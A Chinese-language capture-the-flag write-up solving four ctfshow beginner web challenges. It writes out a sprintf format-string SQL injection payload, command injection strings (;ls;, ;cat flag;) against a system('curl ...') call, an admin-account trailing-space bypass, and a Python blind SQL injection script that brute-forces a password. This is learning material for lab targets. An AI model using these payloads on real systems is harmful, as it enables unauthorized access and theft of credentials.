ctfshow-萌新赛刷题笔记

发布于:2025-03-16 ⋅ 阅读:(38) ⋅ 点赞:(0)

1. 给她

启动靶机,发现是sql注入,尝试后发现'被转义\,思路到这里就断了,再看题目给她,想到git.有可能是.git文件泄露,dirsearch扫描一下果然是,用GitHack看一下git备份文件,得到hint.php。

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

这里用到了sprintf函数,addslasheshes函数

addslashes 是 PHP 中的一个内置函数,用于对字符串中的特殊字符进行转义,通常用于防止这些字符破坏 SQL 查询语句的结构。它的主要作用是在特定的字符前添加反斜杠 \\,从而使这些字符在 SQL 查询中被视为普通字符,而不是具有特殊意义的符号以防止这些字符破坏 SQL 语句的结构。例如:
输入:name=admin'
转义后:name=admin\'
转义的字符
addslashes 会对以下字符进行转义:
单引号 ' → \'
双引号 " → \"
反斜杠 \ → \\
NULL 字符(\0)→ \0

sprint函数

sprintf 是一个格式化字符串的函数,用于将变量插入到字符串的指定位置

arg1    必需。规定插到 format 字符串中第一个 % 符号处的参数。
arg2    可选。规定插到 format 字符串中第二个 % 符号处的参数。
arg++    可选。规定插到 format 字符串中第三、四等 % 符号处的参数。
若%符号多于arg参数,则需要占位符,占位符格式为“%number$” 其中number表示该项与第几个arg匹配,如若与第一个匹配     则占位符为“%1$”

$name = "admin";
$sql = sprintf("SELECT * FROM user WHERE name='%s'", $name);

结果为 SELECT * FROM user WHERE name='admin'

 构造payload

?name='admin'&pass=%1$' or 1=1--+

结果是        "select * from user where name='admin' and pass='' or 1=1--+"

传入后

查看源码得到提示

<!--flag in /flag --> 

看完wp才知道要从cookie下手,真是万万没有想到

查看cookie得到一串字符串,用随波逐流解码一下发现是16进制编码,把cookie的值替换为/flag16进制编码即可

2.签到题

 

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

发现是命令执行漏洞,尝试?url=;ls;得到目录flag,index.php,

?url=;cat flag;得到flag

3.假赛生

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>

要先注册,再登入然后get 传参,根据代码的name一定要是admin,但是注册时用admin不行,因此,要用admin+空格绕过,在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。也就是说我注册admin+空格账户在执行sql时相当于注册了admin账户。然后再登录,接下来要get传参

  • \w:匹配任意字母、数字或下划线(等价于[a-zA-Z0-9_])。

  • \W*:匹配任意非字母、数字或下划线的字符(等价于[^a-zA-Z0-9_]),*表示匹配0次或多次。

也就是键盘上的按键基本都被过滤了,但是空格没被过滤,?c= ,绕过即可

4.萌新记忆

点进去啥有用信息的没得到,那就dirsearch扫描一下,发现admin,访问一下,又是sql注入

直接上脚本

import requests
import urllib3
import sys
import io
 
# 设置标准输出的编码为utf-8
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
# 禁用 InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
url="https://1defb603-9b0c-4027-9e49-21cb3d21c5c2.challenge.ctf.show/admin/checklogin.php"
 
letter="0123456789abcdefghijklmnopqrstuvwxyz"
 
passwd=""
 
 
for i in range(1,30): #增大容错
 
    for j in letter:      
 
        payload="'||substr(p,{},1)<'{}".format(i,j)
 
        # print(payload)
 
        data={
 
            'u':payload,
 
            'p':1
 
            }
 
        res=requests.post(url=url,data=data, verify=False).text
 
        # print(res)
 
        if "密码错误" == res:
 
            passwd += chr(ord(j)-1)
 
            print("[+]1: ",passwd)
 
            break

得到密码登入得到flag